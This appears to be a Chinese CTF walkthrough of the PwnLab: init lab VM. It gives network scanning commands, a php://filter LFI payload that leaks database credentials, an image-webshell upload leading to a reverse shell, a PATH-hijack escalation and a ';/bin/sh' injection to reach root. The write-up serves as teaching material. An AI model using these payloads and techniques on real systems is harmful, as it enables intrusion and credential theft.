一、靶机地址:
描述
欢迎来到“PwnLab: init”,我的第一个 Boot2Root 虚拟机。意味着简单,我希望你喜欢它,也许能学到一些东西。这个 CTF 的目的是获取 root 并读取 de 标志。
目标:得到root权限&找到flag.txt
作者:尼德霍格007
时间:2022-6-11
注意:此次渗透在VMware虚拟机中演示,这里使用的技术仅用于学习教育目的,请勿用于非法用途,因学习和使用本文有关技术造成的损失和侵害需自行承担法律责任。
二、搭建靶机环境
攻击机Kali
:
IP地址:192.168.6.173
靶机
:
IP地址:192.168.6.130
注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)
三、实战渗透
3.1网络扫描
3.1.1 启动靶机和Kali后进行扫描
方法一、arp-scan -I eth0 -l (指定网卡扫)
方法二、masscan 扫描的网段 -p 扫描端口号
masscan 192.168.6.0/24 -p 80,22
方法三、netdiscover -i 网卡-r 网段
方法四、以后补充
3.1.2 查看靶机开放的端口
使用nmap -A(全面探测) -sV(查看版本) -T4(速度) -p-(全端口) 靶机ip
查看靶机开放的端口
可以看到 开放着80,111,3306,49422端口
3.2枚举漏洞
80 端口分析
访问80端口
再对80端口进行扫描
config.php可能含有数据库id和密码,此处可利用php文件包含LFI漏洞利用
3.3漏洞利用
3.3.1php://filter 伪协议拿到账号密码
读取文件(allow_url_include和allow_url_fopen都不做要求)
?page=php://filter/read=convert.base64-encode/resource=config(把config以base64的方式读出来)
成功读出
接下来base64转utf-8
得到数据库名为Users,账号为root,密码为H4u%QJ_H99。那么现在转到3306端口连接数据库
3.3.2信息收集获取MySQL账号密码
用从80端口分析出来的账号和密码进行登录
mysql -uroot -pH4u%QJ_H99 -h 192.168.6.130
登录后查看user表中的其他用户名和密码
base64解码后得到JWzXuBJJNy、SIfdsTEn6I、iSv5Ym2GRo
用mike账号成功登录80端口界面,并且只能上传图片,那么我们就传图片马找突破口
3.3.3上传图片马,反弹shell
网页显示只能传图片,所以我们构造一个图片马进行上传,用系统自带的php马,改点东西就行了
把文件改一下ip还有文件头
上传后,再次用php伪协议查看源码,发现可用Cookie的参数名lang进行命令执行
<?php //Multilingual. Not implemented yet. //setcookie("lang","en.lang.php"); if (isset($_COOKIE['lang'])) { include("lang/".$_COOKIE['lang']); } // Not implemented yet. ?> <html> <head> <title>PwnLab Intranet Image Hosting</title> </head> <body> <center> <img src="images/pwnlab.png"><br /> [ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ] <hr/><br/> <?php if (isset($_GET['page'])) { include($_GET['page'].".php"); } else { echo "Use this server to upload and share image files inside the intranet"; } ?> </center> </body> </html>
开启1234端口后,用curl命令运行图片马
端口这边已经成功反弹了shell
但这个shell并不稳定,所以再去用下面这个命令建立一个稳定shell
python -c 'import pty;pty.spawn("/bin/bash")'
3.4权限提升
3.4.1判断提权条件
用kane的密码进入后,发现了一个属于mike用户的ELF课执行文件,我们当前用户无法执行,所以想把它下载下来,利用python -m SimpleHTTPServer开放端口下载,下载好后拖进IDA查看
这里发现了cat /home/mike/msg.txt 使用了带参数的系统函数,我们需要把环境变量改为当前目录。
所以可以修改环境变量,讲cat转换为shell
3.4.2环境变量更改提权
用以下命令对环境变量更改
./msgmike echo "/bin/bash" > cat chmod +x cat(赋予执行权限) export PATH=/home/kane(修改为当前目录) kane@pwnlab:~$ ./msgmike ./msgmike
用户名已经变成了mike了,但还得把环境变量换回去才能查看文件
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin </usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
再利用linux的特性添加;/bin/sh,就提权成功了
3.4.3找到flag
进入root目录就能找到flag了